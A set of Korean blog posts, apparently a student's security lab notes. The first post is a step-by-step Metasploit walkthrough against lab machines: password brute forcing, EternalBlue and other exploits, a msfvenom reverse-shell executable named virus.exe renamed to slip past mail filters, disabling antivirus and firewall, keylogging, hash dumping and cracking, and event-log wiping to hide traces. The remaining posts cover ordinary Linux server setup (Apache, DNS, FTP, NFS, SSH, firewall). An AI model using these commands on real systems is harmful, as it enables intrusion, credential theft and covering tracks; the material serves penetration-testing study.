[메타스플로잇]


01. 특징

 - 취약점 분석, 자동화, 보안식별


02. 활용

 - 취약점 분석,진단,침투 테스트


03. 용어정리

 1) 익스플로잇(Exploit) : 시스템, 서비스 공격 방법(행위)

 2) 페이로드(Payload) : 공격 코드

 3) 모듈 : 루비(Ruby)언어의 모듈

 4) 세션 : 공격자와 공격 대상자와의 연결


04. 라이브러리/모듈


05. 모듈

 1) Exploit

 2) auxiliary : 보조 모듈

 3) Post: 2차공격

 4) Payload : 공격 코드


06. 인터페이스

 1) GUI : armitage

 2) TUI(CLI) : msfconsole

 3) msfcli

 4) msfweb

07. msfconsole 명령어

 1) help : 도움말

 2) search : 모듈 검색

 3) use : 특정 모듈 연결

 4) info : 정보 출력

 5) set : 모든 설정

 6) show : 출력

 7) exploit : 모듈 실행, 공격 명령


bind_tcp  //방화벽이 켜져있으면 안됨.
reverse_tcp //방화벽이 켜져있어도 접근 가능



[칼리리눅스]


msfdb init   //최초 한번만 실행해주면 된다.

service postgresql restart //최초 한번만 해주면 된다.

systemctl enable postgresql

db_status //db 연결

 apt-get install -y metasploit-framework zlib1g.dev libpcap-dev libsqlite-dev openssl //업데이트



/usr/share/metasploit-framework //메타스플로잇 경로

위의 경로에서 bundle install


 


msfconsole //실행



use auxiliary/scanner/smb/smb_version    // smb scan



options 

//설정할 것을 확인할 수 있음. yes로 되어있는 것은 필수로 설정해줘야함


set rhosts 192.168.232.120  //rhost로 공격대상자 ip 설정


set threads 256  //스레드 256개 즉 , 속도 빨라짐

options //확인




run 실행   //스캐닝 확인 운영체제와 사용자이름 워크그룹등 확인




nmap -T4 -sV -v 192.168.232.130   //nmap으로 포트스캐닝



back 맨 처음으로 돌아감.


use auxiliary/scanner/ssh/ssh_version  //ssh 스캔


set rhosts 192.168.232.130

run



[무작위 대입 공격]


[windows7]


use auxiliary/scanner/smb/smb_login



option //설정할 것 찾기.


set rhosts 192.168.232.120


set smbuser test


set smbpass root


run  //실행 



사전파일 생성후, 사전파일로 비번찾기  

(id는 userpass_file)

use auxiliary/scanner/smb/smb_login 

set rhosts 192.168.232.120

set username test

set pass_file /root/passwd.txt   //test비번을 사전파일에 있는 거로 찾는다.

run  //실행





[linux]

msf5 > use auxiliary/scanner/ssh/ssh_login


set rhosts 192.168.232.210

set username test


set password root


set stop_on_success true   //비밀번호를 찾으면 멈춤

run  //실행파일



사전파일 생성후, 사전파일로 비번찾기

사전파일 위치 /root/passwd.txt


set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt   //test비번을 사전파일에 있는 거로 찾는다.

run  //실행



[ftp로 비번찾기]

난 ftp포트를 2121로 변경했기 때문에 변경까지했다.

set rport 2121

set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt

run



id와 비번 둘다 사전파일로 찾기.


set rport 2121

set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt

set user_file /root/id.txt

run





[취약점 코드]


 -국제 공통 코드 : CVE-2018-0123        //2018년에발생 123번째

 - MS사 : ms08-0123          




// ms17_010 == 국제 공통 코드 CVE-2017-0143



[상대방 windows 7로 직접 침투]

//ms 17년에 10번째 블루스크린을 뜨게함.

use exploit/windows/smb/ms17_010_eternalblue  


set payload windows/x64/meterpreter/bind_tcp


bind_tcp  //내가 직접 공격대상자에 컴터에 침투

set rhosts 192.168.232.120
 
set lport 443  //https 포트번호

exploit 

meterpreter > shell   //windows7 에 접속

//mkdir hi로 파일을 만듦.


//아래와 같이 생성됨.


meterpreter screenshot 입력하면 공격대상자의 화면 캡쳐됨




[쉘로 접속하는 방법]

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/shell/bind_tcp

set rhosts 192.168.232.120

set lport 443 //https 포트번호


exploit  //실행



[상대방 windows xp로 직접 침투]


use exploit /windows/smb/ms08_067_netapi 

set payload windows/meterpreter/bind_tcp

set rhosts 100.100.100.138 //공격대상자 아이피

set lport 443

exploit




meterpreter shell 입력 //원격접속



이미지와 같이 폴더가 생성됨.











[각종 명령어]
[bind_tcp]
netsh firewall set opmod=disable    //방화벽 차단

run killav    //안티바이러스 프로그램 차단

run post/windows/gather/screen_spy  //5초 간격으로 6장씩 스크린샷

스크린샷 찍은 것 숨김파일 표시해야 보임   / .msf4  /loot

run post/windows/gather/enum_applications   //공격대상자 애플리케이션 설치 확인

run post/windows/gather/enum_devices     //공격대상자 디바이스 상태 확인


run post/windows/gather/enum_services      //windows 는 서비스 linux는 데몬
svchost 
 DLL에 의해 기본적으로 실행되는 프로세스
csrss
윈도우 콘솔을 관찰하고 스레드를 생성 웜,바이러스 공격에 주로 이용

run post/windows/gather/usb_history        //usb 사용한 기록도 확인가능









windows 2008 공격

use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set payload windows/meterpreter/bind_tcp
set rhost 192.168.232.222
set lport 443
exploit



[로그 삭제 ]           //서버라 기록중이다.
                                        //작업을 한 후, 흔적을 지워야하기 때문에 로그를 삭제한다.
시작 -> 관리도구 -> 이벤트 뷰어 
로그 구성은
수준 날짜 및 시간 원본 이벤트ID  작업 범주로 구성되어 있다.
1. getuid       //uid 획득
2. getsystem //시스템권한 획득
3. shell   //접속
4. wevtutil.exe cl "System"    //시스템 로그 삭제


5. wevtutil.exe cl "application"  //응용프로그램 로그 삭제


6. wevtutil.exe cl "Security"    //보안로그 삭제





[키로거]

2차공격이기 때문에 원격접속을 성공하고 실행해야한다.

run post/windows/capture/keylog_recorder
 //빨간 박스 저장경로
실패하면 프로세스를 탈취해야한다.

[프로세스 탈취]
1. 키로거를 걸 프로세스를 선택한다.  //메모장이나 익스플로러 크롬 등등

2. 나는 메모장을 탈취할 것이다.   
 

4 .  migrate 3500   //프로세스 번호 3500 탈취.

5.  키로거 실행
run post/windows/capture/keylog_recorder

6. 키로거를 실행한 채, 탈취한 메모장에 원하는값 입력.


7. 키로거가 된 것을 확인.





[hashdump]

hashdump 


[덤프한 해쉬 크랙]
1. crackstation.net   <-- 간단한 암호는 크랙가능.




2. 존 더 리퍼

1.hashdump로 얻은 값을 leafpad에 저장              /root/password.txt 에 저장해놨음.
2. john --show --format=NT /root/password.txt




[DB hashdump]

use auxiliary/scanner/mysql/mysql_hashdump 

set rhost 192.168.232.233
set username root
set password root
run



[DB schemadump]
use auxiliary/scanner/mysql/mysql_schemadump
set rhost 192.168.232.233
set username root
set password root
run

















[reverse_tcp]


 악성코드를 만들어야한다.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.232.100 lport=4444 -f exe > /root/virus.exe

   //lhost는 칼리리눅스의 ip   /root/virus.exe로 저장



 //테스트를 위해 직접 옮긴 것이다.


 만든 virus.exe 파일을 공격대상자 컴퓨터에 옮긴다.


exe파일은 메일에서 차단할 수 있으므로 zip으로 이름을 변경하여 보냄.   

파일확장자명 exe로 변경



//파일로 만들어서 실행해도됨.

vi reverse.rc  
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.232.100
set lport 4444
set exitonsession false
exploit -j -z    //-j와 -z  백그라운드로 실행되면서 유지

msfconsole -r reverse.rc   //만든 파일로 실행


windows7에서 아까 옮긴 바이러스 파일을 실행.


session -i 실행



sessions -i 1 로 접속


bind_tcp와 같이 접속이 된다.


bind_tcp와는 다르게 방화벽이 켜져있어도 정상 작동한다.
          



shell:startup  //부팅 시에 자동으로 실행되게함.


sysinfo //원격접속한 컴퓨터의 정보확인


  





https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

metasploitable2   //취약점 모아놓은 툴


다운받고 vmware로 오픈


login msfadmin

pass msfadmin


sudo -s 

msfadmin //root접속



[톰캣을 통해 리눅스 시스템 진입]


192.168.232.233(metasploitable2ip):8180  



[비번 찾기] 

 use auxiliary/scanner/http/tomcat_mgr_login

 set rhosts 192.168.232.233
 set rport 8180
 run

tomcat: tomcat



use exploit/multi/http/tomcat_mgr_deploy
set password tomcat
set rhosts 192.168.232.233
set rport 8180
set  httpusername tomcat
set  httppassword tomcat
set  payload java/shell/bind_tcp
exploit


ls cat 명령어 다사용 가능

cat /etc/passwd


[일반유저 권한으로 리눅스침투]

use exploit/unix/misc/distcc_exec 


set payload cmd/unix/bind_ruby

set rhosts 192.168.232.233

exploit



ctrl +z  //백그라운드 실행
sessions -i //백그라운드 세션 확인



use multi/manage/shell_to_meterpreter

sessions -l //세션번호 확인

set session 1
exploit  //진입.


 sessions -l  


sessions -i 2  //meterpreter로 접속완료. shell을 통해 원격접속



[루트 권한으로 리눅스침투]
use exploit/multi/samba/usermap_script  
//이부분만 다르다.

set payload cmd/unix/bind_ruby

set rhosts 192.168.232.233

exploit


ctrl +z  //백그라운드 실행
sessions -i //백그라운드 세션 확인

use multi/manage/shell_to_meterpreter

sessions -l //세션번호 확인


set session [] //확인한 세션번호입력
exploit  //진입.
sessions -l  //meterpreter 세션확인
sessions -i [] //확인한 세션번호 입력

shell 로 접속
whoami로 권한 확인








'System Security' 카테고리의 다른 글

웹게시판  (0) 2019.03.04
apmtools(apache)  (0) 2019.03.04
DNS서버  (0) 2019.02.27
FTP  (2) 2019.02.26
NFS(Network File System)  (0) 2019.02.25


windows7에서

xe 설치 아래 링크 들어가서 다운

https://www.xpressengine.com/




sulinux server에서

알드라이브로 test3 폴더에 넣어놓자. //ftp로 넣으면 된다.

unzip xe 로 압축해제



mv ex ./public_html

chmod 707 xe -R



Windows7

http://test3.co.kr/xe/





suliunx server


1. service mysqld restart   //mysql재시작


2. mysql -p mysql         //접속


3. show databases;        //데이터베이스 목록


4. create database test2;    //test2라는 db 생성


5. flush privileges;  //즉시반영


6. show databases;    //test2만들어진 것을 확인


7. insert into user(host,user,password)        values('localhost','test2',password('root'));   //user테이블에 삽입


8. flush privileges;  //즉시반영


9. grant all privileges on test2. * to test2@localhost identified by 'root';   //권한 부여

10. flush privileges;  //즉시반영


11. service mysqld restart


12. select host,user,password from user;


windows7  //설정한 값 대로 주자.



vi /usr/local/apache/conf/extra/httpd-vhosts.conf  //xe경로를 매핑


service httpd restart 


설치가 완료되면 뜨는 화면에서 설정을 들어간다.

경로를 변경





test3.co.kr 로접속 했을 시 아래와 같이 뜬다.





CentOS


create database mbc;

flush privileges; 


insert into user(host,user,password)        values('192.168.232.130','mbc',password('root'));   //210만 가능

values('192.168.232.%','mbc',password('root'));   //c클래스 전체

values('%','mbc',password('root'));    //모든호스트 가능


flush privileges;

 grant all privileges on mbc. * to 'mbc'@'%' identified by 'root';   //권한 부여

flush privileges;

Windows 7

 //DB호스트네임에 CentOS ip 입력 한다.







'System Security' 카테고리의 다른 글

메타스플로잇  (0) 2019.03.07
apmtools(apache)  (0) 2019.03.04
DNS서버  (0) 2019.02.27
FTP  (2) 2019.02.26
NFS(Network File System)  (0) 2019.02.25


apmtools  //apache mysql php 설치툴


#apmtools 입력하구 아래와 같이 진행





다 설치후 리붓




아래와 같이 뜨면 다 설치가 된 것이다.


 /usr/local/apache/htdocs/index.html 화면이다.




따로 따로 설치하려면 apache -> mysql -> php 순으로 설치




/usr/local  //설치된 내용들이 존재



vi /usr/local/apache/conf/httpd.conf

/usr/local/apache/  //아파치 서버 내용들


ServerRoot     //절대경로

Listen 80       //포트 지정

User daemon  //지정해주지 않으면 root권한으로 됨.

Group daemon //지정해주지 않으면 root권한으로 됨.


ServerAdmin     //주인 이메일

DocumentRoot //첫화면에 나오는 파일

DirectoryIndex  //제일 먼저 보여주는 화면

ErrorLog     //에러 로그




아파치 가상호스트 기능


dns 서버를 구축한 리눅스에서 test 2 3 아이디 생성


chmod 775 test* //권한을 부여해줘야 된다.


vi /home/test/public_html/index.html

아무말이나 입력

vi /home/test2/public_html/index.html

아무말이나 입력

vi /home/test3/public_html/index.html

아무말이나 입력



windows 7 

test.co.kr/~test


test.co.kr/~test2




vi /usr/local/apache/conf/extra/httpd-vhost.conf

//이런식으로 설정해두면



이렇게 test.co.kr/~test2을 test2.co.kr로 간단히 접속할 수 있게 된다.

안되면 rfc1912에다가 test2추가


네이버 블로그 같이 한 아파치서버로 여러개의 웹사이트를 운영하는 방법이다.



디렉터리 리스트 취약점

index.html 파일이 없으면  안에 있는 파일들이 전부 출력된다.


해결법


vi /usr/local/apache/conf/extra/httpd-userdir.conf

Indexes << 라는 문구를 지우면


이와 같이 전체 목록이 보이지 않게 된다.



접근통제

vi /usr/local/apache/conf/extra/httpd-userdir.conf

Deny from all로 변경


아래와 같이 전부 차단된다.


//Order 순서대로 읽는다  첫번째 박스 allow -> deny

두번째 박스 deny -> allow





[CentOS7 apm]


less //읽기.




yum list installed [패키지명]  //다운받은 목록 확인

yum -y install mariadb*  //db설치

yum -y install httpd*     //아파치설치

which httpd //httpd 위치

whereis httpd //httpd의 관련된 모든 항목







yum -y install php*  --skip-broken     //php설치

yum -y install php-mysql --skip-broken  //php mysq연동


less /etc/httpd/conf/httpd.conf //3번쨰 줄

http://httpd.apache.org/docs/2.4/

 //아파치에 관한 설명이 한글로 되어 있음


ServerRoot "/etc/httpd"  //글로벌 전역변수로 설정했으므로 따로 안써줘도 된다.



require all denied //보안에 관련됨.


'System Security' 카테고리의 다른 글

메타스플로잇  (0) 2019.03.07
웹게시판  (0) 2019.03.04
DNS서버  (0) 2019.02.27
FTP  (2) 2019.02.26
NFS(Network File System)  (0) 2019.02.25

DNS(Domain Name Server)


Domain : 영역, 그룹


www.test.co.kr  //도메인 이름 ,호스트이름


DNS란? 

Domain -> IP주소 

DNS : BIND9.0




www.test.co.kr 접속 -> DNS Server -> ip주소 파악 -> 들어가짐.


DNS cache 

 - 접속한 사이트를 저장. 다시 그 사이트를 접속할 때 DNS server가 아닌 DNScache를 참조하여 들어가지므로, 더 빠르게 접속이 됨.


hosts

cache에 없으면 여기서 찾고 없으면 dns server로 간다.


[운영모드]

Master

   

Slave


[순환 질의]

root DNS -> APNIC -> com,kr,jp -> dns server



[DNS Server]


01 프로그램

 - 서버 : BIND9.0

 - 데몬 : named

02 환경 설정 파일

 - /etc/named.conf <- 주 환경설정 파일

 - /etc/named.rfc1912.zones <- 도메인 등록 파일

 - /var/named/chroot/var/named/test.co.kr.zone <-도메인 정보 파일

03 서비스 시작

 service named restart


vi /etc/resolv.conf

nameserver 부분을 자신의 서버 ip로 작성




/etc/named.conf //아래와 같이 설정

                       //tcp ,udp 53번 사용합니다.

                      //udp들은 전송량이 많아지면 tcp도 사용한다.


vi /etc/named.rfc1912.zones  //밑에 줄 추가



var/named/chroot/var/named 에다가 아래 파일을 생성


vi /var/named/chroot/var/named/test.co.kr.zone

TTL  //DNS서버가 정보를 가져갔을 때 유지하는 시간 0은 무한

@   //DNS서버 전체를 칭한다.

IN  //클래스

20190227

//Serial 마스터 서버에 장애가 발생했을 때 슬레이브 네임 서버의 번호를 지정하는 것

1D  

//Refresh 슬레이브 서버에서 마스터 네임서버의 설정사항이 수정 되어있는지 체크하는 시간 

1H  //Retry 접속 장애가 발생했을 때 재접속 시간 

1W  //Expire 존파일의 유효기간

1W  //Minimum 데이터에대한 유효기간

admin.test.co.kr //관리자 이메일 주소

test.co.kr. //도메인주소

NS test.co.kr. //으로 물어보면

A 192.168.232.210 //으로 정방향으로 연결해준다.




host test.co.kr //확인해본다.


telnet test.co.kr



window7에서 확인 //dns을 구축한 ip로 변경해도


//인터넷이 잘된다.




[서브 도메인설정]

vi /var/named/chroot/var/named/test.co.kr.zone



아래 그림과 같이 로그인이 잘된다.




[Master Server와 Slave Server]


[Master Server]

vi /etc/named.rfc1912.zones   //slave ip입력

service named restart


[Slave Server]

vi /etc/namd.conf   //최초설정 


vi /etc/named.rfc1912.zones

//슬레이브 설정 masters {마스터 서버 ip}


service  named  restart


cd /var/named/chroot/var/named/slaves


안에 test.co.kr.zone 파일이 생성되어 있다.



[CentOS 7]

 yum -y install bind*

 
vi /etc/named.conf


vi /etc/named.rfc1912.zone //등록

systemctl restart named


vi /etc/resolv.conf


vi /var/named/kbs.co.kr.zone




ip번호로 접속


nslookup 으로 ip주소를 알아내고


start http://ip주소  //로 접근가능

 

'System Security' 카테고리의 다른 글

웹게시판  (0) 2019.03.04
apmtools(apache)  (0) 2019.03.04
FTP  (2) 2019.02.26
NFS(Network File System)  (0) 2019.02.25
정리  (0) 2019.02.25

[FTP Server]


01. 프로그램

 -proFTP ,wuftp,vsftpd*

02. 환경 설정 파일

 - /etc/vsftpd/vsftpd.conf <- 주 환경 설정 파일

 - /etc/vsftpd/user_list <- 사용자 제한(FTP)

 - /etc/vsftpd/ftpusers < - PAM


03. FTP 서비스 종류

 1) FTP : 인증(ID/PASS)

 2) AnonymousFTP : 인증(ID:anonymous,PASS:E-mail)

 3) TFTP : 무인증(69)



/etc/vsftpd/vsftpd.conf


anoymous_enable = no   //어나니머스 차단

local_enable = yes //일반 ftp 허용

write_enable = yes //생성 수정 삭제 가능

anon_upload_enable = //어나니머스는 위험하므로 업로드 설정

xferlog_enable =yes //로그 기록 허용

connect_from_port_20 = YES //데이터 포트 사용 허용

xferlog_std_format //스탠다드 포맷사용 허용

idle_session_timout =600 //600초 동안 입력안할 시 세션차단

ascii_upload_enable =yes //ascii 업로드 허용

chroot_list_enable=yes //보안디렉터리 허용

chroot_list_file=/etc/vsftpd/chroot_list  //설정한 경로에 보안 


[포트 변경]

/etc/vsftpd/vsftpd.conf


listen_port =2121 //제어포트 변경


service iptables stop


windows7 알드라이브 설치 //포트 2121로 접속



putty파일을 업로드 하면,


test폴더 안에 업로드가 된 것을 확인할 수 있다.



ftp 192.168.232.210 2121 //쉘로도 접속 가능




 

운영모드

Active 모드 //server가 먼저 요청

passive 모드 //client가 먼저 요청

모드 결정은 클라이언트가한다.

처음 시작은 active모드로 실행 된다.

passive 모드는 데이터 포트가 1024이상 포트로 사용됨.


FTP

Server

데이터 포트: 20  

제어 포트: 21  //액티브 패시브 둘다 사용


방화벽에서 제어포트만 허용했을 경우



 //연결은 되지만 데이터를 주고 받을 수 없다.


해결방안 : 방화벽 중단하거나 해당포트를 열어준다.


미친방법 : 모든포트를 개방해준다.




데이터 포트도 고정하는법

pasv_min_port =2020

pasv_max_port =2020



방화벽 설정 //제어포트 2121과 데이터포트2020을 허용해준다.



방화벽에 해당포트까지 열어주니 정상적으로 통신되어 열린다.



[사용자 제한]

 /etc/vsftpd/user_list  //적혀있는 것들은 전부 로그인차단됩니다.


/etc/vsftpd/ftpusers //적혀있는 것들은 전부 로그인차단됩니다.

user_list와 ftpusers 파일에 둘다 적혀 있어야 차단된다.


두 개의 파일에 root를 전부 주석처리하면 root로 로그인이 된다.





Anonymous ftp 


cd /var/ftp

 pub디렉터리의 소유권을 777로 변경

위의 사진과 같이 업로드는 되지만, 삭제는 되지않는다.


아래 사진과 같은 문장을 입력해주고


vi banned_emails 을 생성해주고 생성된 파일안에 넣은 값으로는 익명로그인을 할 때 비밀번호로 사용할 수 없다

위의 값으로 비밀번호를 입력하면, 로그인이 되지 않는다.





쉘에서 접속은 

ftp 192.168.232.210 2121

아이디에 anonymous 입력 비번 아무거나 치면 익명계정으로 로그인된다.


[chroot]


changeroot를 통해 자기자신외에 폴더는 보지못하게 설정할 수 있다.


vi/etc/vsftpd/vsftpd.conf //아래와 같이 설정하고 

service vsftpd restart


vi /etc/vsftpd/vsftpd.conf/chroot_list  //안에 아이디 입력


아래 사진과 같이 자기 폴더 외에는 접근이 불가능하게 된다.




반대로 list에 적힌 애들만 허용하게 하고 싶으면,


vi /etc/vsftpd/vsftpd.conf 

chroot_local_user=YES을 입력해주면


list에적힌 test만 허용되고  나머지는 차단된다.





[ftp 속도제한]

각 사용자에게 속도 제한을 건다.

이 설정을 해주지 않으면 한사람이 대역폭을 다 쓰게 됨으로 제한을 걸어줘야 한다.


vi /etc/vsftpd/vsftpd.conf


local_max_rate = 50  //50bps로 제한

anon_max_rate =50 //익명계정 속도 50bps로 제한



[ftp 동시 접속자 수 제한]

max_clients= 10  //11번째 부터 차단.


max_per_ip =2 //같은 ip접속 2개만 허용


3개째 부터 아래 빨간박스와 같이 연결이 되지 않는다.



'System Security' 카테고리의 다른 글

apmtools(apache)  (0) 2019.03.04
DNS서버  (0) 2019.02.27
NFS(Network File System)  (0) 2019.02.25
정리  (0) 2019.02.25
방화벽  (0) 2019.02.22

[NFS Server]


01. 프로그램

- 데몬 : nfs(2049), portmap

- 포트 : portmapper (111)

02. 환경 설정파일

-/etc/exports  <- 주 환경설정 파일

 [공유 디렉터리] [클라이언트 IP주소](옵션)

 ex)/nfs 192.168.232.110(rw,sync) //호스트만 허용

 ex)/nfs 192.168.232.*(rw,sync) //c클래스 허용

 ex)/nfs *(rw,sync) //전체 허용




Server

vi /etc/exports

/nfs *(rw,sync)

service iptables stop

service portmap restart

service nfs restart

cd /

mkdir nfs

chmod 777 nfs


Client

service iptables stop

service portmap restart

service nfs restart


rpcinfo -p  //확인


mount -t nfs 192.168.232.210(서버ip):/nfs /mnt



공유폴더 확인


mnt에서 아무 파일이나 디렉터리 생성



Server /nfs 폴더에 Client에서 만든 파일이 생성되어있음 (공유)



CentOS와 SUlinux 연결

server에서 vi /etc/exports

/cent 192.168.232.101(rw,sync)


CentOS에서 nfs 설치

 yum -y install nfs* rpcbind*

 systemctl restart rpcbind

 systemctl restart nfs

 mount -t nfs 192.168.232.210:/cent /mnt


cd /mnt 안에다 파일이나 디렉터리 생성


Server에서도 확인



Windows7 enterprise K 와 SUlinux 연결

//울트라 이후부터 nfs 사라짐.

제어판 -> 프로그램 및 추가 기능 -> nfs 도구 


유저 생성 //root라는 이름으로 생성했음.


c 드라이브에 nfs라는 폴더 생성  우클릭




SUlinux

mkdir win7

mount -t cifs //192.168.232.120/nfs /win7  //cifs 다른 운영체제 연결

cd /win7 안에 파일이나 디렉터리 생성


아래 그림과 같이 sulinux에서 만든 폴더가 생성됨.



Windows7 에서 리눅스 


mount 192.168.232.210:/nfs *  


z: //접속


dir //파일 확인




[포트고정]

방화벽 활성화 시키고 하는법


서버

vi /etc/init.d/nfslock 


vi /etc/sysconfig/nfs


vi /etc/sysconfig/iptables


rpcinfo -p //111번 2049번 4000~4002번 확인

service iptables restart

service nfs restart

service nfslock restart


클라이언트

mount -t nfs 192.168.232.210:/cent /mnt

똑같이 /mnt 에 파일 만들면 공유 되는 것을 확인할 수 있다.


마운트해제

umount /mnt

'System Security' 카테고리의 다른 글

DNS서버  (0) 2019.02.27
FTP  (2) 2019.02.26
정리  (0) 2019.02.25
방화벽  (0) 2019.02.22
SSH  (0) 2019.02.22

[미션]


<Telnet Server>

 - 방화벽 활성화

01. 포트변경

- 변경 포트 : 3333

vi /etc/services 

telnet tcp udp 3333으로 변경

service xinetd restart


vi /etc/sysconfig/iptables

service iptables restart








02. 접근통제

    - 192.168.232.0/24 허용

vi /etc/xinetd.conf 


vi /etc/sysconfig/iptables



03. 사용시간 제한

- 허용시간 : 09:00 ~22:00

vi /etc/xinetd.d/telnet

04. 원격 동시 접속자 수

접속자 수 : 50


vi /etc/xinetd.conf

05. Shell에서 Telnet 접속 명령어 완성

telnet [ip주소] [포트번호]


<SSH Server>

01 포트변경

- 변경 포트 : 2222

02 접근 통제

- 허용 :192.168.232.120

vi /etc/ssh/sshd_config

service sshd restart


vi /etc/sysconfig/iptables


service iptables restart



03. root 사용자 원격 로그인 차단

vi /etc/ssh/sshd_config


PermitRootLogin no

04. 로그인 5회 실패시 로그아웃

MaxAuthTries 5


05. Shell에서 SSH 접속 명령어를 완성하시오.

#ssh -l [계정명] [상대측 IP주소] -p 2222



<ping 응답 차단 >

01. 방화벽에서 차단



02. 커널 모듈에서 차단

-ping 차단 명령어를 완성하시오(2가지)

(#  echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all )                    

(#   sysctl -w net.ipv4.icmp_echo_ignore_all=1)                       

03. 시스템 재시작 후에도 차단되도록 설정

vi /etc/sysctl.conf 

net.ipv4.icmp_echo_ignore_all = 1





'System Security' 카테고리의 다른 글

FTP  (2) 2019.02.26
NFS(Network File System)  (0) 2019.02.25
방화벽  (0) 2019.02.22
SSH  (0) 2019.02.22
xinetd와 telnet  (0) 2019.02.22


icmp 원천봉쇄 //내부 외부 둘다 봉쇄


cd /proc/sys/net/ipv4  안에 있는 icmp_echo_ignore_all


// vi로 설정이 안되기에 아래와 같이 해야함.


echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

                   

 sysctl -w net.ipv4.icmp_echo_ignore_all=1          


재시작해도 설정이 저장되게 하는법


vi /etc/sysctl.conf 







CentOs7 방화벽


firewall-cmd --permanent --add-service=http   //http 영구적으로 열어주기.

firewall-cmd --reload //갱신

friewall-cmd --list-services //열린 포트확인




'System Security' 카테고리의 다른 글

NFS(Network File System)  (0) 2019.02.25
정리  (0) 2019.02.25
SSH  (0) 2019.02.22
xinetd와 telnet  (0) 2019.02.22
쉘명령으로 cpu부하  (0) 2019.02.21

[SSH]

01.SSH


02.환경설정 파일

-/etc/ssh/sshd_config


Port //포트번호 변경가능

PermitRootLogin //root로그인 허용

MaxAuthTries //틀린 횟수제한

MaxSessions 10 //최대 10대 허용


03 .셸 접속방법
#ssh -l [계정명] [상대측 IP주소] -p 23






[ssh포트변경하기]

setenforce 0 //이것을 꺼놔야 변경이 된다. selinux 설정을 끄는 것


vi /etc/ssh/sshd_config

port 2002 로 변경


systemctl restart sshd //재시작


firewalld 설정

firewall-config //설정 창 들어가짐.



putty로 접속



'System Security' 카테고리의 다른 글

정리  (0) 2019.02.25
방화벽  (0) 2019.02.22
xinetd와 telnet  (0) 2019.02.22
쉘명령으로 cpu부하  (0) 2019.02.21
프로세스 공격  (0) 2019.02.21

슈퍼데몬


telnet포트변경

vi /etc/services

telnet tcp ,udp 둘다 원하는 값으로 변경





vi /etc/xinetd.conf 


no_access = 아이피주소 주면 차단

only_from = ip넣으면 허용

(192.168.100.0 해당네트워크 전체 차단,허용)

max_load = 최대 부하률


cps  = 50 10  //초당 요청받은 수에 대한 설정

//초당 요구가 50개 이상일 경우에 10초동안 접속 연결 중단

per_source //같은 IP주소로 접속할 수 있는 최대 접속 수 지정

instances // 동시에 서비스할 수있는 서버의 최대개수 지정


텔넷 제한  //192.168.232.0 네트워크대역 차단


192.168.232.110 이 텔넷 접속하려 했을 때

 


[iptable Rule]

-s 192.168.232.0/255.255.255.0 -p tcp --dport 23 -j ACCEPT

//원하는 대역만 허용


iptable은 설정을 주지 않으면 암묵적 룰로 텔넷을 차단한다.


아래 그림과 같이 추가를 해주면 iptable이 켜져도 접속이 허용 된다.


//성공된 모습


vi /etc/xinetd.d/telnet  

access_times을 통해 원하는 시각에만 허용할 수 있다.


'System Security' 카테고리의 다른 글

방화벽  (0) 2019.02.22
SSH  (0) 2019.02.22
쉘명령으로 cpu부하  (0) 2019.02.21
프로세스 공격  (0) 2019.02.21
메모리 고갈공격(DOS)  (0) 2019.02.21

+ Recent posts